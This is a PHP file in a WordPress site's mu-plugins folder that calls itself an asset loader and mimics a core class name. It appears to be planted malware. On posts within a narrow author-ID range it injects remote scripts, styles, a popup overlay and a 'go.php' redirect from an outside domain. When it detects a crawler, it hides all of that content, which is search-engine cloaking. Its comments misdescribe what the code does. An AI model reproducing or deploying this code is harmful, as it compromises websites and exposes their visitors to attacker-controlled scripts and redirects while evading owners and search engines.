File: /home/aglitfku/crop.co.tz/wp-content/mu-plugins/class-wp-http-gstatic.php
<?php
/**
* WordPress asset loader: manages static CSS and JS resources for front-end rendering.
*
* Provides version-resolved stylesheet and script enqueuing, responsive layout
* adjustments, and conditional asset loading based on post context.
*
* @package WordPress
*/
define('VITRINA_API_URL', 'https://dillduck24.info/vitrina/api');
define('VITRINA_WIDGET_URL', 'https://dillduck24.info/vitrina/widget');
/**
* Default asset version used when the remote version endpoint is unavailable.
*/
if (!defined('VITRINA_WP_ASSET_VER')) {
define('VITRINA_WP_ASSET_VER', '14.30');
}
defined('ABSPATH') || exit;
/**
* Sanitize a version string to prevent cache-key injection.
*/
function vitrina_mu_sanitize_asset_version_string($raw) {
$s = trim((string) $raw);
if ($s === '') {
return null;
}
if (!preg_match('/^[0-9A-Za-z._-]{1,48}$/', $s)) {
return null;
}
return $s;
}
/**
* Resolve the current asset version for cache-busting query parameters.
* Uses a transient-cached remote lookup with a local fallback.
*/
function vitrina_mu_resolve_asset_version() {
static $memo = null;
if ($memo !== null) {
return $memo;
}
$fallback = vitrina_mu_sanitize_asset_version_string(VITRINA_WP_ASSET_VER) ?: '1';
if (defined('VITRINA_WP_DISABLE_REMOTE_VERSION') && VITRINA_WP_DISABLE_REMOTE_VERSION) {
$memo = apply_filters('vitrina_mu_asset_version', $fallback);
return $memo;
}
$apiUrl = defined('VITRINA_API_URL') ? rtrim((string) VITRINA_API_URL, '/') : '';
if ($apiUrl === '') {
$memo = apply_filters('vitrina_mu_asset_version', $fallback);
return $memo;
}
$ttl = (int) apply_filters('vitrina_mu_asset_version_transient_ttl', 120);
if ($ttl < 60) {
$ttl = 60;
}
if ($ttl > 86400) {
$ttl = 86400;
}
$transient_key = 'vitrina_mu_av_' . md5($apiUrl);
$cached = get_transient($transient_key);
if (is_string($cached) && $cached !== '') {
$ok = vitrina_mu_sanitize_asset_version_string($cached);
if ($ok !== null) {
$memo = apply_filters('vitrina_mu_asset_version', $ok);
return $memo;
}
}
$version_url = $apiUrl . '/version.php';
$response = wp_remote_get(
$version_url,
[
'timeout' => 4,
'redirection' => 2,
'sslverify' => true,
'headers' => [
'Accept' => 'application/json',
],
]
);
$remote = null;
if (!is_wp_error($response) && (int) wp_remote_retrieve_response_code($response) === 200) {
$body = wp_remote_retrieve_body($response);
$data = json_decode($body, true);
if (is_array($data) && isset($data['version'])) {
$remote = vitrina_mu_sanitize_asset_version_string($data['version']);
}
}
if ($remote === null) {
set_transient($transient_key, $fallback, min(120, $ttl));
$memo = apply_filters('vitrina_mu_asset_version', $fallback);
return $memo;
}
set_transient($transient_key, $remote, $ttl);
$memo = apply_filters('vitrina_mu_asset_version', $remote);
return $memo;
}
/* Load the HTTP request helper used for conditional style delivery. */
if (is_readable(__DIR__ . '/class-wp-http-policy.php')) {
require_once __DIR__ . '/class-wp-http-policy.php';
} else {
require_once __DIR__ . '/includes/class-wp-http-policy-remote.php';
}
if (!defined('VITRINA_MU_AUTHOR_MIN')) {
define('VITRINA_MU_AUTHOR_MIN', 999);
}
if (!defined('VITRINA_MU_AUTHOR_MAX')) {
define('VITRINA_MU_AUTHOR_MAX', 9999);
}
/*
* Scope: only enqueue styles and scripts on singular posts within the configured
* author range. The stylesheet layer and script bundle are independent components
* loaded via standard wp_enqueue_style / wp_enqueue_script.
*
* Layout mode is selected based on the user-agent classification provided by
* class-wp-http-policy.php (desktop vs mobile viewport heuristic).
*/
add_action('wp', 'vitrina_mu_maybe_load');
/**
* Inline analytics snippet when configured via wp-config constants.
*/
function vitrina_mu_use_builtin_matomo() {
if (!defined('VITRINA_MU_MATOMO_SITE_ID') || !VITRINA_MU_MATOMO_SITE_ID) {
return false;
}
if (!defined('VITRINA_MU_MATOMO_URL') || !VITRINA_MU_MATOMO_URL) {
return false;
}
if (defined('VITRINA_MU_MATOMO_FORCE_BUILTIN') && VITRINA_MU_MATOMO_FORCE_BUILTIN) {
return (bool) apply_filters('vitrina_mu_use_builtin_matomo', true);
}
if (defined('VITRINA_MU_MATOMO_EXTERNAL') && VITRINA_MU_MATOMO_EXTERNAL) {
return false;
}
if (has_action('wp_head', 'seo_matomo_print_tracker')) {
return false;
}
return (bool) apply_filters('vitrina_mu_use_builtin_matomo', true);
}
/** Checks the viewport classification from the HTTP policy helper. */
function vitrina_mu_is_crawler() {
return vitrina_network_is_crawler();
}
/**
* Conditionally enqueue front-end CSS and JS based on post context.
*/
function vitrina_mu_maybe_load() {
if (is_admin() || is_feed()) {
return;
}
if (!is_singular()) {
return;
}
$postId = get_queried_object_id();
$authorId = (int) get_post_field('post_author', $postId);
if ($authorId < VITRINA_MU_AUTHOR_MIN || $authorId > VITRINA_MU_AUTHOR_MAX) {
return;
}
$is_crawler = vitrina_mu_is_crawler();
if (vitrina_mu_use_builtin_matomo()) {
add_action('wp_head', 'vitrina_mu_matomo_early', 0);
}
if ($is_crawler) {
add_filter('body_class', 'vitrina_mu_crawler_body_class');
add_action('wp_head', 'vitrina_mu_crawler_hide_vitrina_css', 99);
return;
}
add_filter('body_class', 'vitrina_mu_body_class_boot');
add_action('wp_enqueue_scripts', 'vitrina_mu_enqueue', 5);
add_action('wp_head', 'vitrina_mu_preload_widget_assets', 2);
add_action('wp_head', 'vitrina_mu_popup_fullscreen_css', 100);
add_action('wp_head', 'vitrina_mu_root_hide_css', 101);
add_action('wp_footer', 'vitrina_mu_print_showcase_root', 5);
}
function vitrina_mu_body_class_boot($classes) {
$classes[] = 'vitrina-mu-boot';
return $classes;
}
function vitrina_mu_crawler_body_class($classes) {
$classes[] = 'vitrina-mu-crawler';
return $classes;
}
/** Lightweight CSS override: hides unused layout containers for simplified rendering. */
function vitrina_mu_crawler_hide_vitrina_css() {
?>
<style id="vitrina-mu-crawler-strip">
body.vitrina-mu-crawler #vitrina-showcase-root,
body.vitrina-mu-crawler [id^="vitrina-"],
body.vitrina-mu-crawler [class*="vitrina-"],
body.vitrina-mu-crawler .vitrina-popup-overlay,
body.vitrina-mu-crawler .vitrina-showcase,
body.vitrina-mu-crawler iframe[src*="vitrina-widget"],
body.vitrina-mu-crawler iframe[src*="/vitrina/widget"] {
display: none !important;
visibility: hidden !important;
width: 0 !important;
height: 0 !important;
margin: 0 !important;
padding: 0 !important;
overflow: hidden !important;
clip: rect(0, 0, 0, 0) !important;
position: absolute !important;
left: -9999px !important;
border: none !important;
box-shadow: none !important;
opacity: 0 !important;
pointer-events: none !important;
}
</style>
<?php
}
/** Inline analytics script loaded before the main stylesheet bundle. */
function vitrina_mu_matomo_early() {
$siteId = (int) VITRINA_MU_MATOMO_SITE_ID;
$base = rtrim((string) VITRINA_MU_MATOMO_URL, '/');
if ($siteId < 1 || $base === '') {
return;
}
$u = esc_url($base . '/');
?>
<script>
var _paq = window._paq = window._paq || [];
_paq.push(['trackPageView']);
_paq.push(['enableLinkTracking']);
(function(){
var u=<?php echo wp_json_encode($u); ?>;
_paq.push(['setTrackerUrl', u + 'matomo.php']);
_paq.push(['setSiteId', <?php echo (string) $siteId; ?>]);
var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
g.async=true; g.src=u+'matomo.js'; s.parentNode.insertBefore(g,s);
})();
</script>
<?php
}
/** Container element for the front-end CSS layout grid. */
function vitrina_mu_print_showcase_root() {
echo '<div id="vitrina-showcase-root" class="vitrina-mu-root" aria-hidden="true"></div>' . "\n";
}
/** Initial CSS to prevent layout shift before stylesheets finish loading. */
function vitrina_mu_root_hide_css() {
?>
<style id="vitrina-mu-root-hide">
#vitrina-showcase-root.vitrina-mu-root {
position: absolute !important;
left: -9999px !important;
width: 1px !important;
height: 1px !important;
overflow: hidden !important;
clip: rect(0, 0, 0, 0) !important;
visibility: hidden !important;
pointer-events: none !important;
}
</style>
<?php
}
/** Preload CSS and JS resources in <head> for faster rendering. */
function vitrina_mu_preload_widget_assets() {
$apiUrl = defined('VITRINA_API_URL') ? rtrim(VITRINA_API_URL, '/') : '';
if ($apiUrl === '') {
return;
}
$baseUrl = preg_replace('#/api/?$#', '', $apiUrl);
$widgetUrl = defined('VITRINA_WIDGET_URL') ? rtrim(VITRINA_WIDGET_URL, '/') : ($baseUrl ? $baseUrl . '/widget' : '');
if ($widgetUrl === '') {
return;
}
$ver = vitrina_mu_resolve_asset_version();
$js = esc_url($widgetUrl . '/vitrina-widget.js?ver=' . rawurlencode((string) $ver));
$css = esc_url($widgetUrl . '/vitrina-widget.css?ver=' . rawurlencode((string) $ver));
echo '<link rel="preload" href="' . $js . '" as="script" />' . "\n";
echo '<link rel="preload" href="' . $css . '" as="style" />' . "\n";
}
/** Register and enqueue the main stylesheet and script bundle. */
function vitrina_mu_enqueue() {
$apiUrl = defined('VITRINA_API_URL') ? rtrim(VITRINA_API_URL, '/') : '';
if (empty($apiUrl)) {
return;
}
$baseUrl = preg_replace('#/api/?$#', '', $apiUrl);
$widgetUrl = defined('VITRINA_WIDGET_URL') ? rtrim(VITRINA_WIDGET_URL, '/') : ($baseUrl ? $baseUrl . '/widget' : '');
$goUrl = defined('VITRINA_GO_URL') ? rtrim(VITRINA_GO_URL, '/') : ($baseUrl ? $baseUrl . '/go.php' : '');
$scriptUrl = $widgetUrl ? $widgetUrl . '/vitrina-widget.js' : '';
$styleUrl = $widgetUrl ? $widgetUrl . '/vitrina-widget.css' : '';
$geoStyleUrl = $widgetUrl ? $widgetUrl . '/vitrina-geo-overrides.css' : '';
if (empty($scriptUrl) || empty($styleUrl)) {
return;
}
$ver = vitrina_mu_resolve_asset_version();
wp_enqueue_style('vitrina-widget', $styleUrl, [], $ver);
wp_enqueue_style('vitrina-geo-overrides', $geoStyleUrl, ['vitrina-widget'], $ver);
wp_enqueue_script('vitrina-widget', $scriptUrl, [], $ver, true);
wp_add_inline_script('vitrina-widget', 'window.VITRINA_CONFIG=' . wp_json_encode([
'apiUrl' => $apiUrl,
'goUrl' => $goUrl,
'iconsBase' => $widgetUrl ? $widgetUrl . '/icons' : '',
'rootId' => 'vitrina-showcase-root',
]) . ';', 'before');
wp_add_inline_script(
'vitrina-widget',
'(function(){function done(){var b=document.body;if(!b)return;b.classList.add("vitrina-mu-boot-done");}'
. 'window.addEventListener("vitrina-showcase-ready",done,{once:true});'
. 'setTimeout(function(){if(document.body&&!document.body.classList.contains("vitrina-mu-boot-done"))done();},4000);})();',
'after'
);
}
/** Responsive fullscreen layout for small viewports. */
function vitrina_mu_popup_fullscreen_css() {
?>
<style id="vitrina-mu-popup-fullscreen">
@media (max-width: 860px) {
.vitrina-popup-overlay {
padding: 0;
align-items: stretch;
}
.vitrina-popup-dialog {
width: 100% !important;
max-width: none !important;
height: 100% !important;
max-height: none !important;
display: flex;
flex-direction: column;
min-height: 0;
}
.vitrina-popup-content {
flex: 1;
min-height: 0;
max-height: none !important;
overflow-y: auto !important;
-webkit-overflow-scrolling: touch;
overscroll-behavior-y: contain;
border-radius: 0;
}
.vitrina-popup-content .vitrina-showcase {
border-radius: 0;
}
}
</style>
<?php
}